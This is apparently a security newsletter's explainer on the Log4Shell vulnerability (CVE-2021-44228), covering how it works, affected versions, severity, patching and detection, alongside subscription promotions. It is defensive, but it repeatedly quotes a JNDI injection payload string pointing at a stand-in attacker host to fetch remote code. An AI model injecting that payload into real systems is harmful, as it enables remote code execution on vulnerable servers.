CVE-2021-44228 Explained: Log4Shell, the Most Critical Vulnerability in a Decade
A zero-click, unauthenticated RCE in Apache Log4j 2 that exposed hundreds of millions of Java applications to complete compromise. What it does, who is affected, and how to fix it.
Retool's new app builder is where AI-generated code ships safely
Building apps with AI is easy. Getting them to production safely is another story.
CVE-2021-44228, publicly dubbed Log4Shell, was disclosed on December 9, 2021 and immediately triggered one of the largest emergency response efforts in cybersecurity history. The vulnerability exists in Apache Log4j 2, the ubiquitous Java logging library present in virtually every enterprise Java application, cloud platform, and connected device stack on the planet.
The flaw is disarmingly simple: Log4j 2 evaluates special lookup expressions embedded in log messages. An attacker who can get any Log4j-instrumented application to log a crafted string, via a username field, HTTP header, search query, or any other user-controlled input, can trigger an outbound JNDI (Java Naming and Directory Interface) lookup to an attacker-controlled server, which then delivers a malicious Java class that executes on the target with the privileges of the application process.
No authentication is required. No user interaction is required. The attack works remotely across the internet. CVSS scores it at 10.0, the maximum possible.
What Is CVE-2021-44228 and How Does It Work?
Log4j 2 includes a feature called Message Lookup Substitution that evaluates expressions of the form ${...} found within log messages. This was designed to enrich log output with contextual runtime data, hostnames, environment variables, and so on.
The critical flaw: Log4j 2 also evaluates JNDI lookups of the form ${jndi:ldap://attacker.com/exploit}. When the library processes this string as part of any logged message, it initiates an outbound LDAP connection to the attacker's server. The attacker's LDAP server responds with a reference to a remote Java class. Log4j 2 fetches and instantiates that class, executing arbitrary Java code in the context of the vulnerable application.
Because virtually every component of a modern application generates logs, authentication attempts, API calls, search queries, HTTP headers, the attack surface is enormous. Attackers quickly discovered that injecting the payload into User-Agent headers, X-Forwarded-For headers, usernames, and even DNS hostnames would trigger vulnerable logging calls deep inside the application stack.
Payload Injection
Attacker sends a string containing ${jndi:ldap://attacker.com/exploit} in any user-controlled field, HTTP header, form field, username, search query, or API parameter.
Log4j Processes the String
The vulnerable application logs the input. Log4j 2's Message Lookup Substitution evaluates the embedded JNDI expression.
Outbound JNDI/LDAP Request
Log4j 2 initiates an outbound LDAP connection to the attacker's server to resolve the lookup, egressing through the target's firewall.
Malicious Class Delivered
The attacker's LDAP server responds with a reference to a remote Java class hosted on an attacker-controlled HTTP server.
Remote Code Execution
Log4j 2 fetches and instantiates the malicious Java class. The class constructor executes arbitrary code, typically a reverse shell, backdoor installer, or cryptominer, with the privileges of the application process.
Affected Versions and Systems
CVE-2021-44228 affects Apache Log4j 2 versions 2.0-beta9 through 2.14.1. Log4j 1.x is not affected by this specific vulnerability (though it has other severe unpatched issues and should be considered end-of-life).
The scope of affected systems is staggering. Log4j 2 is embedded in thousands of third-party products including VMware vCenter, Cisco products, Palo Alto Panorama, IBM products, Fortinet FortiGate, Amazon Web Services, Google Cloud, Microsoft Azure, Elasticsearch, Apache Solr, Apache Kafka, and hundreds of enterprise applications.
Any Java application that uses Log4j 2 to log user-controlled data is potentially vulnerable. Because Log4j 2 is often included as a transitive dependency, organizations frequently did not know they were running it.
Briefings like this, every morning before 9am.
Threat intel, active CVEs, and campaign alerts, distilled for practitioners. 50,000+ subscribers. No noise.
Severity: CVSS Score and Risk Assessment
CVE-2021-44228 carries a CVSS v3.1 Base Score of 10.0 (Critical), the maximum possible. Mass exploitation began within 72 hours of public disclosure. Within a week, dozens of threat actor groups, including ransomware operators, cryptocurrency miners, and nation-state APTs from China, Iran, North Korea, and Turkey, were actively scanning and exploiting vulnerable systems at scale. CISA issued Emergency Directive 22-02 requiring all federal agencies to patch or mitigate within days.
“This is the most serious vulnerability I have seen in my decades-long career.”
Jen Easterly, CISA Director, December 2021
How to Patch and Mitigate CVE-2021-44228
The definitive fix is upgrading Log4j 2 to version 2.17.1 or later (2.12.4 for Java 8, 2.3.2 for Java 7). Apache released multiple successive patches as initial mitigations were found to be incomplete.
Subscribe to unlock Remediation & Mitigation steps
Free subscribers unlock full IOC lists, Sigma detection rules, remediation steps, and every daily briefing.
The bottom line
CVE-2021-44228 is the defining vulnerability of the 2020s, a perfect-10 RCE in one of the most widely deployed libraries in software history. If you have not audited your Java application stack for Log4j 2 dependencies and verified upgrade to 2.17.1+, do it now. The vulnerability continues to be actively exploited years after disclosure, particularly against organizations that never completed their remediation.
This analysis is generic — the platform version scores threats like this against your own stack.
Frequently asked questions
What is Log4Shell (CVE-2021-44228)?
Log4Shell is a critical remote code execution vulnerability in Apache Log4j 2 (versions 2.0-beta9 through 2.14.1). It exploits Log4j's JNDI message lookup feature: an attacker sends a crafted string like ${jndi:ldap://attacker.com/exploit} to any logged field, triggering an outbound LDAP request that loads and executes attacker-controlled Java code. No authentication required. CVSS score: 10.0.
How do I fix CVE-2021-44228?
Upgrade Apache Log4j 2 to version 2.17.1 or later (2.12.4 for Java 8, 2.3.2 for Java 7). As a temporary measure, set the JVM flag -Dlog4j2.formatMsgNoLookups=true or remove the JndiLookup class from the JAR. Also apply vendor patches for affected products like VMware, Cisco, and Fortinet.
Is Log4Shell still being exploited?
Yes. Despite being disclosed in December 2021, Log4Shell continues to be actively exploited years later, particularly against organizations that never completed remediation or have unpatched transitive dependencies buried in their software supply chains.
What Apache Log4j 2 versions are safe from Log4Shell?
Apache Log4j 2.17.1 and later (Java 11+), 2.12.4 and later (Java 8), and 2.3.2 and later (Java 7) are fully patched for all Log4Shell variants including bypass CVEs CVE-2021-45046 and CVE-2021-45105. Log4j 1.x is not affected by Log4Shell specifically but is end-of-life with its own unpatched critical vulnerabilities. Always verify the exact version string in your dependency tree because bundled Log4j versions inside third-party products require separate vendor patches.
How do I find Log4j 2 hidden inside my Java applications?
Use a multi-layered scanning approach: (1) Maven dependency tree: mvn dependency:tree -Dincludes=org.apache.logging.log4j; (2) Gradle: ./gradlew dependencies | grep log4j; (3) JAR scanning: use log4j-detector or the CISA log4j-scanner to find Log4j bundled inside fat JARs, WAR files, and Docker images. Log4j is frequently shaded inside third-party products, so check every vendor's Log4Shell advisory separately. Transitive dependencies are the primary reason organizations believed they were unaffected when they were not.
What is JNDI injection and why did Log4j support it?
JNDI (Java Naming and Directory Interface) is a Java API for looking up resources by name, such as database connections and remote objects. Log4j 2 supported JNDI lookups in log messages to enable dynamic log enrichment, resolving remote resource URIs for context at log time. An attacker exploits this by embedding ${jndi:ldap://attacker.com/payload} in any string that gets logged. Log4j evaluates the expression, initiates the outbound LDAP connection, fetches the attacker-controlled Java object, and instantiates it, executing arbitrary code. JNDI lookup support was removed entirely in Log4j 2.17.0 and later versions as part of the complete remediation.
Sources & references
- Apache Security Advisory
- CISA KEV
- LunaSec Research
- NIST NVD
Free resources
Critical CVE Reference Card 2025–2026
25 actively exploited vulnerabilities with CVSS scores, exploit status, and patch availability. Print it, pin it, share it with your SOC team.
Ransomware Incident Response Playbook
Step-by-step 24-hour IR checklist covering detection, containment, eradication, and recovery. Built for SOC teams, IR leads, and CISOs.
Get threat intel before your inbox does.
50,000+ security professionals read Decryption Digest for early warnings on zero-days, ransomware, and nation-state campaigns. Free, daily, no spam.
Unsubscribe anytime. We never sell your data.
Founder & Cybersecurity Evangelist, Decryption Digest
Cybersecurity professional with expertise in threat intelligence, vulnerability research, and enterprise security. Covers zero-days, ransomware, and nation-state operations for 50,000+ security professionals every morning.
Win a $2,495 Black Hat pass.
Full-access to Black Hat USA 2026 in Las Vegas. Subscribe free to enter.